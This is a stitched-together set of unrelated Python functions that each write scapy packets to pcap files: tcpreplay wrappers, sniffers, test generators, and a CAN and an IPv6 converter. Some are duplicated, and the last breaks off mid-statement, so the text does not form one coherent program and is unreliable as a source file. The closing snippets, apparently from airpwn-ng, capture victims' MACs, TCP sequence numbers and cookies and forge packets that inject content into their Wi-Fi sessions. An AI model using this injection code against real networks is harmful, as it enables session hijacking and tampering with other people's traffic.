def write_car_event_to_can_packet(car: Vehicle, event_list: CarEvent): pkt_list = [] for event in event_list: if event.ID == CarEvent.CAR_EVENT_FREE: continue data = car.dbc_data.simple_msg_encode(event.ID, event.value) # extend to 8 bytes by padding zero data = data + '00' * (8 - car.dbc_data.get_msg_length_in_byte(event.ID)) byte0, byte1, byte2, byte3, byte4, byte5, byte6, byte7 = \ int(data[0:2], 16), \ int(data[2:4], 16), \ int(data[4:6], 16), \ int(data[6:8], 16), \ int(data[8:10], 16), \ int(data[10:12], 16), \ int(data[12:14], 16), \ int(data[14:], 16) can_payload = \ struct.pack('<8B', byte0, byte1, byte2, byte3, byte4, byte5, byte6, byte7) pkt = CAN(identifier=event.ID, length=len(data), data=can_payload) pkt.time = event.timestamp pkt_list.append(pkt) wrpcap("can_packet.pcap", pkt_list) return
def snarf(pkt): ## No count qty if q is False: if self.util.macFilter(macX, pkt) is True: self.soloList.append(pkt) self.soloHit += 1 r = True else: r = False if verbose is True: print('{0} -- '.format(r) + str(self.soloCount) + '--' + str(self.soloHit)) ## Count qty else: if self.soloHit < qty: if self.util.macFilter(macX, pkt) is True: self.soloList.append(pkt) self.soloHit += 1 r = True else: r = False if verbose is True: print('{0} -- '.format(r) + str(self.soloCount) + '--' + str(self.soloHit)) else: wrpcap('solo.pcap', self.soloList) sys.exit(0) self.soloCount += 1
def parent(ip_version): msg("============================================================") msg("starting dig process USING IPv{}".format(ip_version)) p = Process(target=dig, args=(ip_version, )) p.start() msg("starting sniff") pkts = sniff("eth0", lfilter=lambda x: (UDP in x and DNS in x), timeout=6) msg("sniff done, joining dig") p.join() msg("\noriginal\n----------------------------------------") pkts.nsummary() msg("\nsave and reload 1\n----------------------------------------") pktfile = "pkts2.pcap" wrpcap(pktfile, pkts) pkts2 = rdpcap(pktfile) pkts2.nsummary() msg("\nsave and reload 2\n----------------------------------------") for p in pkts: if IP in p: del(p[IP].len) if UDP in p: del(p[UDP].len) del(p[UDP].chksum) pktfile = "pkts3.pcap" wrpcap(pktfile, pkts) pkts3 = rdpcap(pktfile) pkts3.nsummary() msg("----------------------------------------\n")
def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, file_cache=False, iface=None, replay_args=None, # noqa: E501 parse_results=False): """Send packets at layer 2 using tcpreplay for performance :param pps: packets per second :param mpbs: MBits per second :param realtime: use packet's timestamp, bending time with real-time value :param loop: number of times to process the packet list :param file_cache: cache packets in RAM instead of reading from disk at each iteration :param iface: output interface :param replay_args: List of additional tcpreplay args (List[str]) :param parse_results: Return a dictionary of information outputted by tcpreplay (default=False) :returns: stdout, stderr, command used """ if iface is None: iface = conf.iface argv = [conf.prog.tcpreplay, "--intf1=%s" % network_name(iface)] if pps is not None: argv.append("--pps=%i" % pps) elif mbps is not None: argv.append("--mbps=%f" % mbps) elif realtime is not None: argv.append("--multiplier=%f" % realtime) else: argv.append("--topspeed") if loop: argv.append("--loop=%i" % loop) if file_cache: argv.append("--preload-pcap") # Check for any additional args we didn't cover. if replay_args is not None: argv.extend(replay_args) f = get_temp_file() argv.append(f) wrpcap(f, x) results = None with ContextManagerSubprocess(conf.prog.tcpreplay): try: cmd = subprocess.Popen(argv, stdout=subprocess.PIPE, stderr=subprocess.PIPE) except KeyboardInterrupt: log_interactive.info("Interrupted by user") except Exception: os.unlink(f) raise else: stdout, stderr = cmd.communicate() if stderr: log_runtime.warning(stderr.decode()) if parse_results: results = _parse_tcpreplay_result(stdout, stderr, argv) elif conf.verb > 2: log_runtime.info(stdout.decode()) os.unlink(f) return results
def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, file_cache=False, iface=None): """Send packets at layer 2 using tcpreplay for performance pps: packets per second mpbs: MBits per second realtime: use packet's timestamp, bending time with realtime value loop: number of times to process the packet list file_cache: cache packets in RAM instead of reading from disk at each iteration iface: output interface """ if iface is None: iface = conf.iface argv = [conf.prog.tcpreplay, "--intf1=%s" % iface ] if pps is not None: argv.append("--pps=%i" % pps) elif mbps is not None: argv.append("--mbps=%f" % mbps) elif realtime is not None: argv.append("--multiplier=%f" % realtime) else: argv.append("--topspeed") if loop: argv.append("--loop=%i" % loop) if file_cache: argv.append("--enable-file-cache") f = get_temp_file() argv.append(f) wrpcap(f, x) try: subprocess.check_call(argv) except KeyboardInterrupt: log_interactive.info("Interrupted by user") except Exception,e: log_interactive.error("while trying to exec [%s]: %s" % (argv[0],e))
def send_pkts(args, rewriteinfo): """Replays the pcap after rewriting with supplied details""" proto, iface, ethsrc, ethdst, ipsrc, ipdst = rewriteinfo pkts = rdpcap('{}.pcap'.format(proto)) for p in pkts: # Update Ether common for all proto p.getlayer(Ether).src = ethsrc p.getlayer(Ether).dst = ethdst if proto == 'sgi': continue del p[IP].chksum del p[UDP].chksum p.getlayer(IP).src = ipsrc p.getlayer(IP).dst = ipdst if proto == 's11': # Update s11 MME GTPC IP for Create Session if p.getlayer(UDP).gtp_type == 32: p.getlayer(UDP).IE_list[8].ipv4 = ipsrc # Update s11 MME GTPC IP and s1u ENB GTPU IP for Modify Bearer if p.getlayer(UDP).gtp_type == 34: p.getlayer(UDP).IE_list[0][2].ipv4 = args.enb.addr p.getlayer(UDP).IE_list[1].ipv4 = ipsrc checksum_silent(p) wrpcap('tosend-{}.pcap'.format(proto), pkts)
def shutdown_nfqueue(self): """ Shutdown nfqueue. """ self.logger.debug("Shutting down NFQueue") self.out_nfqueue_started = False self.in_nfqueue_started = False self.running_nfqueue = False # Give the handlers two seconds to leave the callbacks before we forcibly unbind # the queues. time.sleep(2) if self.in_nfqueue: self.in_nfqueue.unbind() if self.out_nfqueue: self.out_nfqueue.unbind() self.configure_iptables(remove=True) packets_path = os.path.join(BASEPATH, self.output_directory, "packets", "original_%s.pcap" % self.environment_id) # Write to disk the original packets we captured wrpcap(packets_path, [p.packet for p in self.seen_packets]) # If the engine exits before it initializes for any reason, these threads may not be set # Only join them if they are defined if self.out_nfqueue_thread: self.out_nfqueue_thread.join() if self.in_nfqueue_thread: self.in_nfqueue_thread.join() # Shutdown the logger actions.utils.close_logger(self.logger)
def gen_frag(): payload = UDP(sport=3333, dport=4444) / ('G' * 4000) ins = fragment(IPV4_HEADER / payload, fragsize=1480) outs = fragment6(IPV6_HEADER / IPv6ExtHdrFragment(id=1) / payload, fragSize=1480 + 14 + 40 + 8) wrpcap("frag_v4.pcap", ins) wrpcap("frag_v6.pcap", outs)
def snarf(pkt): ## No count qty if q is False: if self.util.macPair(macX, macY, pkt) is True: self.mpTrafficList.append(pkt) self.mpTrafficHit += 1 r = True else: r = False if verbose is True: print('{0} -- '.format(r) + str(self.mpTrafficCount) + '--' + str(self.mpTrafficHit)) ## Count qty else: if self.mpTrafficHit < qty: if self.util.macPair(macX, macY, pkt) is True: self.mpTrafficList.append(pkt) self.mpTrafficHit += 1 r = True else: r = False if verbose is True: print('{0} -- '.format(r) + str(self.mpTrafficCount) + '--' + str(self.mpTrafficHit)) else: wrpcap('mpTraffic.pcap', self.mpTrafficList) sys.exit(0) self.mpTrafficCount += 1
def stop(self): if self.__impl: logging.debug('Stopping sniffer for interface {0}'.format( self.__interface)) # Issue #1: We can't use just AsyncSniffer.stop(join=True), # because sometimes deadlock happens in cases when we stop immediately after start (see comment in Issue #1 for details). # Likely this is a bug in scapy, which doesn't expect this kind of usage. # # Initially here we just stopped AsyncSniffer with: # super().stop(join=True) # # I believe the issue was as follows: # Main thread: # - enters SIPpSniffer.start() # - starts Scapy thread and blocks on started.cond.wait() # - Main thread is paused # - Scapy thread is entered # Scapy thread: # - enters AsyncSniffer._run() # - calls started_callback(), which calls started.cond.notify(). # - Scapy thread is paused # - Main thread is resumed # Main thread: # - continues its work, quickly finishes and calls AsyncSniffer.stop() # - AsyncSniffer.stop() sets AsyncSniffer.continue_sniff = False # - blocks on self.thread.join() # - Main thread is paused # - Scapy thread is resumed # Scapy thread: # - sets self.continue_sniff = True # - enters sniffing loop # # Therefore, Main thread cancels Scapy thread by setting self.continue_sniff = False, # but due to very short run time of Main thread, Scapy thread hasn't entered its loop. # Scapy thread is then resumed and sets this flag back to True and enters the loop. # The loop runs forever. # # To workaround this, we call AsyncSniffer.stop() continuosly, to reliably cancel Scapy thread. # This way, we continuosly set the self.continue_sniff = False, until the Scapy thread terminates. while True: self.__impl.stop(join=False) self.__impl.join(timeout=1) if self.__impl.thread.isAlive(): logging.debug( 'Sniffing thread is still alive for interface {0}, re-trying stopping' .format(self.__interface)) else: break # Issue #58: Sort basing on timestamp time_sorted = sorted(self.__impl.results.res, key=lambda pkt: pkt.time) wrpcap(os.path.join(self.__folder, self.__interface + ".pcap"), time_sorted) # restore defaults to be able to start() again self.__impl = None self.__folder = None
def extract_iodine(root, source, destination): dns_packets = rdpcap(source) downstream = b'' upstream = b'' is_transfer = False real_packets = [] for packet in dns_packets: if not packet.haslayer(DNS): continue if DNSRR in packet and len(packet[DNSRR].rdata) > 0: # downstream data = packet[DNSRR].rdata if isinstance(data, str): # should be some bug in scapy? data = data.encode() if not is_transfer: continue downstream += data[2:] headers = ServerHeader(data) if headers.last and len(downstream) > 0: try: raw_data = zlib.decompress(downstream) real_packets.append(IP(raw_data[4:])) except zlib.error: pass downstream = b'' elif DNSQR in packet: # client hostname = packet[DNSQR].qname if hostname[0] not in b"0123456789abcdefABCDEF": continue is_transfer = True if not hostname.endswith(root): print("Warning: skipped upstream packet:", hostname, file=sys.stderr) continue upstream += hostname[5:-len(root)].replace(b".", b"") headers = ClientHeader(hostname) if headers.last and len(upstream) > 0: try: raw_data = zlib.decompress(b128decode(upstream)) real_packets.append(IP(raw_data[4:])) except zlib.error: pass upstream = b'' wrpcap(destination, real_packets)
def pg_add_stream(cls, i, pkts): os.system("rm -f /tmp/pg%u_in.pcap" % i) wrpcap("/tmp/pg%u_in.pcap" % i, pkts) # no equivalent API command cls.cli( 0, "packet-generator new pcap /tmp/pg%u_in.pcap source pg%u" " name pcap%u" % (i, i, i)) cls.pg_streams.append('pcap%u' % i)
def violation_detected(output_message, pkt_capture): current_date_time = '{date:%Y-%m-%d %H.%M.%S}.pcap'.format( date=datetime.datetime.now()) print('VIOLATION DETECTED:') print(output_message) print('Saving packet dump to current directory as ' + current_date_time) wrpcap(current_date_time, pkt_capture)
def finalizar(self): if self.total_paquetes: for key, value in self.protocolos.items(): if value: prob = float(value)/self.total_paquetes self.info_por_simbolo[key] = - math.log(prob, 2) self.entropia -= prob * math.log(prob, 2) if self.args.salida: utils.wrpcap(self.args.salida + ".pcap", self.pkts)
def save_cap(file_name, cap) -> bool: """ Save scapy.plist into .cap """ try: wrpcap(f"{CAP_PATH}{file_name}{CAP_EXTENSION}", cap) logger.info(f"\"{file_name}{CAP_EXTENSION}\" saved") except FileNotFoundError as error: logger.warning(f"{type(error).__name__}: \"{format(error)}\"")
def tmp(signal, frame): if self.handler is not None: print('\n [!] Saving {0} frames --> {1}'.format( len(self.handlerDict.get(self.handler)), self.handler + '.pcap\n')) wrpcap(self.handler + '.pcap', self.handlerDict.get(self.handler)) print('\n\n [!] Crtl + C sequence complete\n') sys.exit(0)
def save_ref_packet(self, pkt_types, layer_configs=None): for pkt_type in pkt_types.keys(): pkt_names = pkt_types[pkt_type] pkt = Packet(pkt_type=pkt_type) if layer_configs: for layer in layer_configs.keys(): pkt.config_layer(layer, layer_configs[layer]) wrpcap("/tmp/ref_pkt.pcap", pkt.pktgen.pkt) time.sleep(1)
def save_packets(pkts=None, filename=None): save_pkts = [] try: for pkt in pkts: save_pkts.append(pkt.pktgen.pkt) if filename: wrpcap(filename, save_pkts) except: pass
def finalizar(self): if self.total_paquetes: for key, value in self.protocolos.items(): if value: prob = float(value) / self.total_paquetes self.info_por_simbolo[key] = -math.log(prob, 2) self.entropia -= prob * math.log(prob, 2) if self.args.salida: utils.wrpcap(self.args.salida + ".pcap", self.pkts)
def vlan_send_packet(self, outer_vid, outer_tpid=0x8100, inner_vid=-1, inner_tpid=-1): """ if vid is -1, it means send pakcage not include vlan id. """ self.tpid_ori_file = "/tmp/tpid_ori.pcap" self.tpid_new_file = "/tmp/tpid_new.pcap" self.tester.send_expect("rm -rf /tmp/tpid_ori.pcap", "# ") self.tester.send_expect("rm -rf /tmp/tpid_new.pcap", "# ") # The package stream : testTxPort->dutRxPort->dutTxport->testRxPort port = self.tester.get_local_port(dutRxPortId) self.txItf = self.tester.get_interface(port) self.smac = self.tester.get_mac(port) port = self.tester.get_local_port(dutTxPortId) self.rxItf = self.tester.get_interface(port) # the package dect mac must is dut tx port id when the port promisc is # off self.dmac = self.dut.get_mac_address(dutRxPortId) self.inst = sniff_packets(self.rxItf) pkt = [] if outer_vid < 0 or outer_tpid <= 0: pkt = [ Ether(dst="%s" % self.dmac, src="%s" % self.smac) / IP(len=46) ] wrpcap(self.tpid_new_file, pkt) else: pkt = [ Ether(dst="%s" % self.dmac, src="%s" % self.smac) / Dot1Q(vlan=1) / Dot1Q(vlan=2) / IP(len=46) ] wrpcap(self.tpid_ori_file, pkt) fmt = '1/1 "%02x"' out = self.tester.send_expect( "hexdump -ve '%s' '%s'" % (fmt, self.tpid_ori_file), "# ") if (inner_vid < 0 or inner_tpid <= 0): replace = str("%04x" % outer_tpid) + str("%04x" % outer_vid) else: replace = str("%04x" % outer_tpid) + str( "%04x" % outer_vid) + str("%04x" % inner_tpid) + str( "%04x" % inner_vid) fmt = '1/1 "%02x"' out = self.tester.send_expect( "hexdump -ve '%s' '%s' |sed 's/8100000181000002/%s/' |xxd -r -p > '%s'" % (fmt, self.tpid_ori_file, replace, self.tpid_new_file), "# ") self.tester.send_expect("scapy", ">>> ") self.tester.send_expect("pkt=rdpcap('%s')" % self.tpid_new_file, ">>> ") self.tester.send_expect("sendp(pkt, iface='%s')" % self.txItf, ">>> ") self.tester.send_expect("quit()", "# ")
def combine_pcap(self, dest_pcap, src_pcap): pkts = rdpcap(dest_pcap) if len(pkts) != 1: return pkts_src = rdpcap(src_pcap) pkts += pkts_src wrpcap(dest_pcap, pkts)
def add_int(f_name, pkt): print ('Here') for p in pkt: pkt = Ether(src=p[Ether].src, dst=p[Ether].dst) / IP(ihl = 0, dst=p[IP].dst, options = IPOption_INT(count=0, int_headers=[])) / TCP(dport=p[TCP].dport, sport=p[TCP].sport) / Raw(load='X'*1408) wrpcap(f_name, pkt, append=True) return
def main(): print('Building random string', end='...', flush=True) letters = string.ascii_letters + string.digits lorem = ''.join(random.choice(letters) for i in range(int(1e6))) print('done', flush=True) seconds = 60.0 maxframesize = 1518 - 4 # Frame Check Sequence hdslen = 14 + 20 + 8 # Eth + IPv4 + UDP tellen = 33 # IntSight msglen = maxframesize - hdslen - tellen os.makedirs('../../../resources/workloads/e2edelay', exist_ok=True) print('Generating traffic for RED flow (h1-h10)') pkts = gen_pkts('10.0.1.1', '10.0.5.10', 1234, 1234, Yred, lorem, seconds, msglen, hdslen) print('Writting traffic to pcap file', end='...', flush=True) wrpcap('../../../resources/workloads/e2edelay/red.pcp', pkts) print('done', flush=True) print('Generating traffic for BLUE flow (h2-h3)') pkts = gen_pkts('10.0.1.2', '10.0.2.3', 1234, 1234, Yblue, lorem, seconds, msglen, hdslen) print('Writting traffic to pcap file', end='...', flush=True) wrpcap('../../../resources/workloads/e2edelay/blue.pcp', pkts) print('done', flush=True) print('Generating traffic for TEAL flow (h4-h7)') pkts = gen_pkts('10.0.2.4', '10.0.4.7', 1234, 1234, Yteal, lorem, seconds, msglen, hdslen) print('Writting traffic to pcap file', end='...', flush=True) wrpcap('../../../resources/workloads/e2edelay/teal.pcp', pkts) print('done', flush=True) print('Generating traffic for GREEN flow (h6-h7)') pkts = gen_pkts('10.0.3.6', '10.0.4.7', 1235, 1235, Ygreen, lorem, seconds, msglen, hdslen) print('Writting traffic to pcap file', end='...', flush=True) wrpcap('../../../resources/workloads/e2edelay/green.pcp', pkts) print('done', flush=True) print('Generating traffic for ORANGE flow (h6-h9)') pkts = gen_pkts('10.0.3.6', '10.0.5.9', 1234, 1234, Yorange, lorem, seconds, msglen, hdslen, add_noise=False) print('Writting traffic to pcap file', end='...', flush=True) wrpcap('../../../resources/workloads/e2edelay/orange.pcp', pkts) print('done', flush=True)
def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, file_cache=False, iface=None, replay_args=None, # noqa: E501 parse_results=False): """Send packets at layer 2 using tcpreplay for performance pps: packets per second mpbs: MBits per second realtime: use packet's timestamp, bending time with real-time value loop: number of times to process the packet list file_cache: cache packets in RAM instead of reading from disk at each iteration # noqa: E501 iface: output interface replay_args: List of additional tcpreplay args (List[str]) parse_results: Return a dictionary of information outputted by tcpreplay (default=False) # noqa: E501 :returns stdout, stderr, command used""" if iface is None: iface = conf.iface argv = [conf.prog.tcpreplay, "--intf1=%s" % iface] if pps is not None: argv.append("--pps=%i" % pps) elif mbps is not None: argv.append("--mbps=%f" % mbps) elif realtime is not None: argv.append("--multiplier=%f" % realtime) else: argv.append("--topspeed") if loop: argv.append("--loop=%i" % loop) if file_cache: argv.append("--preload-pcap") # Check for any additional args we didn't cover. if replay_args is not None: argv.extend(replay_args) f = get_temp_file() argv.append(f) wrpcap(f, x) results = None with ContextManagerSubprocess("sendpfast()", conf.prog.tcpreplay): try: cmd = subprocess.Popen(argv, stdout=subprocess.PIPE, stderr=subprocess.PIPE) except KeyboardInterrupt: log_interactive.info("Interrupted by user") except Exception: os.unlink(f) raise else: stdout, stderr = cmd.communicate() if stderr: log_runtime.warning(stderr.decode()) if parse_results: results = _parse_tcpreplay_result(stdout, stderr, argv) elif conf.verb > 2: log_runtime.info(stdout.decode()) os.unlink(f) return results
def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, file_cache=False, iface=None, replay_args=None, # noqa: E501 parse_results=False): """Send packets at layer 2 using tcpreplay for performance pps: packets per second mpbs: MBits per second realtime: use packet's timestamp, bending time with real-time value loop: number of times to process the packet list file_cache: cache packets in RAM instead of reading from disk at each iteration # noqa: E501 iface: output interface replay_args: List of additional tcpreplay args (List[str]) parse_results: Return a dictionary of information outputted by tcpreplay (default=False) # noqa: E501 :returns stdout, stderr, command used""" if iface is None: iface = conf.iface argv = [conf.prog.tcpreplay, "--intf1=%s" % iface] if pps is not None: argv.append("--pps=%i" % pps) elif mbps is not None: argv.append("--mbps=%f" % mbps) elif realtime is not None: argv.append("--multiplier=%f" % realtime) else: argv.append("--topspeed") if loop: argv.append("--loop=%i" % loop) if file_cache: argv.append("--preload-pcap") # Check for any additional args we didn't cover. if replay_args is not None: argv.extend(replay_args) f = get_temp_file() argv.append(f) wrpcap(f, x) results = None try: log_runtime.info(argv) with subprocess.Popen(argv, stdout=subprocess.PIPE, stderr=subprocess.PIPE) as cmd: # noqa: E501 stdout, stderr = cmd.communicate() log_runtime.info(stdout) log_runtime.warning(stderr) if parse_results: results = _parse_tcpreplay_result(stdout, stderr, argv) except KeyboardInterrupt: log_interactive.info("Interrupted by user") except Exception: if conf.interactive: log_interactive.error("Cannot execute [%s]", argv[0], exc_info=True) # noqa: E501 else: raise finally: os.unlink(f) return results
def proc_handler(self, packet, args): """Process handler responsible for the last mile of packet filtering Obtains packet specific information and stores it to memory """ if packet.haslayer(IP) and packet.haslayer(TCP): ## Trigger check request = self.requestExtractor(packet) if self.trigger in request: ## MONITOR MODE if self.nic == 'mon': rtrmac = packet.getlayer(Dot11).addr1 vicmac = packet.getlayer(Dot11).addr2 dstmac = packet.getlayer(Dot11).addr3 ## TAP MODE else: rtrmac = packet.getlayer(Ether).dst vicmac = packet.getlayer(Ether).src dstmac = 'TAP' vicip = packet.getlayer(IP).src svrip = packet.getlayer(IP).dst vicport = packet.getlayer(TCP).sport svrport = packet.getlayer(TCP).dport size = len(packet.getlayer(TCP).load) acknum = str(int(packet.getlayer(TCP).seq) + size) seqnum = packet.getlayer(TCP).ack global BLOCK_HOSTS for obj in BLOCK_HOSTS: ip, seq = obj if svrip == ip and seqnum != seq: print("REMOVING {0}".format(svrip)) for obj2 in BLOCK_HOSTS: ip2, seq2 = obj2 if ip2 == svrip: BLOCK_HOSTS.remove((ip2, seq2)) if args.pcap: wrpcap('inbound.pcap', packet) else: return 0 #print BLOCK_HOSTS try: TSVal, TSecr = packet.getlayer(TCP).options[2][1] except: TSVal = None TSecr = None cookie = self.cookieSearch(request) #print (vicmac, rtrmac, vicip, svrip, vicport, svrport, acknum, seqnum, request, cookie, TSVal, TSecr) return (vicmac, rtrmac, dstmac, vicip, svrip, vicport, svrport, acknum, seqnum, request, cookie, TSVal, TSecr) return None
def scapy_get_cookie(self, q): # os.system('ping sem.taobao.com') s = os.popen('ping sem.taobao.com').read() patt = '来自(.*?)的回复' res = re.findall(patt, s) # print(res[0]) dpkt = sniff(count=100, filter='tcp and host {0}'.format(res[0]), timeout=30) wrpcap("demo.pcap", dpkt) q.put('抓包完成')
def writeToPCAP(self): print("Writing {} packets to {}".format(len(self.packets), config['Output']['File'])) self.removeOutdatedPackets() while True: try: _, packet = self.packets.popleft() except IndexError: # When all packets are written break wrpcap(config['Output']['File'], packet, append=True)
def add_stream(self, pkts, nb_replays=None, worker=None): """ Add a stream of packets to this packet-generator :param pkts: iterable packets """ wrpcap(self.get_in_path(worker), pkts) self.test.register_pcap(self, worker) # FIXME this should be an API, but no such exists atm self.test.vapi.cli(self.get_input_cli(nb_replays, worker))
def save_captured_data_to_file(): fpath = filedialog.asksaveasfilename(defaultextension=".pcap", filetypes=[('pcap files', '.pcap'), ('cap files', '.cap'), ('all files', '.*')]) wrpcap(fpath, sniff_array) # stop_sniff_event.clear() packet_dissect_tree.delete(*packet_dissect_tree.get_children()) stop_button['state'] = 'disabled' pause_button['state'] = 'disabled' start_button['state'] = 'normal' save_button['state'] = 'disabled' quit_button['state'] = 'disabled'
def add_stream(self, pkts, nb_replays=None): """ Add a stream of packets to this packet-generator :param pkts: iterable packets """ self._nb_replays = nb_replays self._rename_previous_capture_file(self.in_path, self.in_history_counter, self._in_file) wrpcap(self.in_path, pkts) self.test.register_capture(self.cap_name) # FIXME this should be an API, but no such exists atm self.test.vapi.cli(self.input_cli)
def capture(userfilter="", pcapname=".tmp.pcap", func=None, count=0, time=None, offline=None): """This function is a wrapper function above the sniff scapy function. The result is a list of templates. The specification on filtering options can be found at: https://goo.gl/kVAmHQ Parameters ---------- userfilter : :obj:`str` Filters to capture packets. pcapname : :obj:`str` Path where the pcap will be written. func : :obj:`function` Function to be called when a packet arrive, the packet will be passed as parameter. count : int Number of packets to capture. time : int Stop sniffing after a given time. Returns ------- :obj:`TList` List of templates """ if func: plist = sniff(filter=userfilter, prn=func, count=count, timeout=time, offline=offline) else: plist = sniff(filter=userfilter, count=count, timeout=time, offline=offline) # Save the list of packages to disk for later readin with pyshark if len(plist) > 0: wrpcap(join(POLYM_PATH, pcapname), plist) tgen = TGenerator(join(POLYM_PATH, pcapname), scapy_pkts=plist) # Returns a list of templates return TList(tgen, len(plist), namesgen(plist)) return None
def main(): parser = ArgumentParser() parser.add_argument('--content-type', default='application/cbor', help='The request content-type header') parser.add_argument( '--infile', default='-', help='The diagnostic text input file, or "-" for stdin') parser.add_argument('--outfile', default='-', help='The PCAP output file, or "-" for stdout') parser.add_argument('--intype', default='cbordiag', choices=['cbordiag', 'raw'], help='The input data type.') args = parser.parse_args() # First get the CBOR data itself infile_name = args.infile.strip() if infile_name != '-': infile = open(infile_name, 'rb') else: infile = sys.stdin.buffer if args.intype == 'raw': cbordata = infile.read() elif args.intype == 'cbordiag': cbordata = check_output('diag2cbor.rb', stdin=infile) # Now synthesize an HTTP request with that body req = HTTPRequest( Method='POST', Host='example.com', User_Agent='scapy', Content_Type=args.content_type, Content_Length=str(len(cbordata)), ) / Raw(cbordata) # Write the request directly into pcap outfile_name = args.outfile.strip() if outfile_name != '-': outfile = open(outfile_name, 'wb') else: outfile = sys.stdout.buffer pkt = Ether() / IP() / TCP() / HTTP() / req wrpcap(outfile, pkt)
def finalizar(self): if self.total_paquetes and self.args.salida: utils.wrpcap(self.args.salida + ".pcap", self.pkts) for key, value in self.tabla_arp.items(): print "%s: %s" % (key, str(list(value))) entropia = 0 # total_paquetes = sum(self.contador.values()) # for key, value in self.contador.items(): # prob = float(value)/total_paquetes # print "{0}: {1}".format(key, -math.log(prob, 2)) # entropia -= prob * math.log(prob, 2) # print "Entropía: ", entropia total_paquetes = sum(self.contador_ip.values()) for key, value in self.contador_ip.items(): prob = float(value)/total_paquetes entropia -= prob * math.log(prob, 2) print "{0:15},{1:>},{2:>}".format(key, value, -math.log(prob, 2)) print "Entropía: ", entropia
def add_stream(self, pkts): """ Add a stream of packets to this packet-generator :param pkts: iterable packets """ try: if os.path.isfile(self.in_path): name = "%s/history.[timestamp:%f].[%s-counter:%04d].%s" %\ (self.test.tempdir, time.time(), self.name, self.in_history_counter, self._in_file) self.test.logger.debug("Renaming %s->%s" % (self.in_path, name)) os.rename(self.in_path, name) except: pass wrpcap(self.in_path, pkts) self.test.register_capture(self.cap_name) # FIXME this should be an API, but no such exists atm self.test.vapi.cli(self.input_cli)
ether = Ether(); ether.type = 0x86dd; ether.src = pkt.src; ether.dst = pkt.dst; header6 = header4to6 (pkt['IP']); if ('TCP' in pkt): l4type = 'TCP'; elif ('UDP' in pkt): l4type = 'UDP'; else: l4type = None; if (l4type == 'TCP' or l4type == 'UDP'): newpayload = payload4to6(pkt[l4type].payload); pkt[l4type].remove_payload(); newpkt = ether /header6 / pkt[l4type] / newpayload; del pkt[l4type].chksum; else: newpkt = ether /header6 / pkt['IP'].payload; return newpkt; if __name__ == "__main__": if (len(sys.argv) != 2): print "./pcap4to6.py <ipv4_pcap_file>"; sys.exit(0); pkts = rdpcap (sys.argv[1]); newpkts = []; for pkt in pkts: newpkts.append (convert4to6 (pkt)); wrpcap ("out.pcap", newpkts);
def proc_handler(self, packet, args): """Process handler responsible for the last mile of packet filtering Obtains packet specific information and stores it to memory """ if packet.haslayer(IP) and packet.haslayer(TCP): ## Trigger check request = self.requestExtractor(packet) if self.trigger in request: ## MONITOR MODE if self.nic == 'mon': rtrmac = packet.getlayer(Dot11).addr1 vicmac = packet.getlayer(Dot11).addr2 dstmac = packet.getlayer(Dot11).addr3 ## TAP MODE else: rtrmac = packet.getlayer(Ether).dst vicmac = packet.getlayer(Ether).src dstmac = 'TAP' vicip = packet.getlayer(IP).src svrip = packet.getlayer(IP).dst vicport = packet.getlayer(TCP).sport svrport = packet.getlayer(TCP).dport size = len(packet.getlayer(TCP).load) acknum = str(int(packet.getlayer(TCP).seq) + size) seqnum = packet.getlayer(TCP).ack global BLOCK_HOSTS for obj in BLOCK_HOSTS: ip, seq = obj if svrip == ip and seqnum != seq: #print "REMOVING ", svrip for obj2 in BLOCK_HOSTS: ip2, seq2 = obj2 if ip2 == svrip: BLOCK_HOSTS.remove((ip2, seq2)) if args.pcap: wrpcap('inbound.pcap', packet) else: return 0 #print BLOCK_HOSTS try: TSVal, TSecr = packet.getlayer(TCP).options[2][1] except: TSVal = None TSecr = None cookie = self.cookieSearch(request) #print (vicmac, rtrmac, vicip, svrip, vicport, svrport, acknum, seqnum, request, cookie, TSVal, TSecr) return (vicmac, rtrmac, dstmac, vicip, svrip, vicport, svrport, acknum, seqnum, request, cookie, TSVal, TSecr) return None
def inject(self, vicmac, rtrmac, dstmac, vicip, svrip, vicport, svrport, acknum, seqnum, injection, TSVal, TSecr): """Send the injection using Scapy This method is where the actual packet is created for sending Things such as payload and associated flags are genned here FIN/ACK flag is sent to the victim with this method """ global npackets npackets += 1 sys.stdout.write(Bcolors.OKBLUE + '[*] Injecting Packet to victim ' + Bcolors.WARNING + vicmac + Bcolors.OKBLUE + ' (TOTAL: ' + str(npackets) + ' injected packets)\r' + Bcolors.ENDC) sys.stdout.flush() ## Injection using Monitor Mode if self.args.inj == 'mon': hdr = Headers() headers = hdr.default(injection) ## WEP/WPA if self.args.wep or self.args.wpa: packet = self.rTap\ /Dot11( FCfield = 'from-DS', addr1 = vicmac, addr2 = rtrmac, addr3 = dstmac, subtype = 8L, type = 2 )\ /Dot11QoS()\ /LLC()\ /SNAP()\ /IP( dst = vicip, src = svrip )\ /TCP( flags = 'FA', sport = int(svrport), dport = int(vicport), seq = int(seqnum), ack = int(acknum) )\ /Raw( load = headers + injection ) ## Open else: packet = RadioTap()\ /Dot11( FCfield = 'from-DS', addr1 = vicmac, addr2 = rtrmac, addr3 = dstmac )\ /LLC()\ /SNAP()\ /IP( dst = vicip, src = svrip )\ /TCP( flags = 'FA', sport = int(svrport), dport = int(vicport), seq = int(seqnum), ack = int(acknum) )\ /Raw( load = headers + injection ) if TSVal is not None and TSecr is not None: packet[TCP].options = [ ('NOP', None), ('NOP', None), ('Timestamp', ((round(time.time()), TSVal))) ] else: packet[TCP].options = [ ('NOP', None), ('NOP', None), ('Timestamp', ((round(time.time()), 0))) ] ## WPA Injection if self.args.wpa is not None: if self.shake.encDict.get(vicmac) == 'ccmp': ### Why are we incrementing here? Been done before in wpaEncrypt(), verify this. try: self.shake.PN[5] += 1 except: self.shake.PN[4] += 1 try: packet = wpaEncrypt(self.shake.tgtInfo.get(vicmac)[1], self.shake.origPkt, packet, self.shake.PN, True) except: sys.stdout.write(Bcolors.FAIL + '\n[!] pyDot11 did not work\n[!] Injection failed\n ' + Bcolors.ENDC) sys.stdout.flush() else: sys.stdout.write(Bcolors.FAIL + '\n[!] airpwn-ng cannot inject TKIP natively\n[!] Injection failed\n ' + Bcolors.ENDC) sys.stdout.flush() #packet = wpaEncrypt(self.shake.tgtInfo.get(vicmac)[0], #self.shake.origPkt, #packet, #self.shake.PN, #True) if self.args.v is False: sendp(packet, iface = self.interface, verbose = 0) else: sendp(packet, iface = self.interface, verbose = 1) if self.args.pcap is True: wrpcap('outbound.pcap', packet) ## WEP Injection elif 